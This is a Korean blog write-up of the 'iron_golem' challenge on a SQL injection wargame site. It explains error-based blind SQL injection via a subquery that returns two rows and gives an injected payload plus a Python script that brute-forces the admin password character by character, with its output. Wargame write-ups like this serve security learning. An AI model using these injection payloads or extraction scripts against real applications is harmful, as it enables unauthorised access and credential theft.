본문 바로가기
워게임/LOS

iron_golem(참 거짓을 판별할 수 없는 blind sqli)

by meanjung 2021. 10. 5.

보통 참 거짓을 판별할 수 없는 blind sql injection에서는 시간 지연(sleep, benchmark 함수)을 이용해 해결한다.

하지만 여기서는 필터링되어있다.

그럼 error based sql injection임을 파악할 수 있다.


쿼리를 날렸을 때 에러가 발생하면 그 에러를 출력하라.

즉, 에러가 나지 않는다면 아무것도 안나오겠지? 에러가 발생한다는 것은 문법적으로 틀리는 등이어야 한다. 해당 데이터가 없는 것과는 다르다.

 

일단 pw 길이 파악이 우선이다.

pw=' or id='admin' and if(length(pw)=1, (select 1 union select 2), 1)# 1값을 계속 바꾸면서 진행한다.

length(pw)=32일 때

즉, admin의 pw 길이는 32라는 의미이다.

 

[**] 1==true / 0==false


import requests

cookies={"PHPSESSID":""}
passwd=""
for i in range(1, 33):
    for c in range(48, 123):
        url = f"https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' or id='admin' and if(substr(pw,{i},1)=char({c}), (select 1 union select 2), 1)%23"
        res = requests.get(url, cookies=cookies)
        if "Subquery returns more than 1 row" in res.text:
            passwd+=chr(c)
            print(passwd)
            break

output > 06B5A6C16E8830475F983CC3A825EE9A

 

lowercase로 바꿔야 한다.

 

mysql에서는 대소문자를 구별하지 않지만 php에서 구별한다.


'워게임 > LOS' 카테고리의 다른 글

hell fire(order by)  (0) 2021.10.05
dark_eyes(error based sqli 심화)  (0) 2021.10.05
dragon  (0) 2021.10.04
[**] xavis  (0) 2021.10.04
[**] nightmare (묵시적 형변환)  (0) 2021.10.04

댓글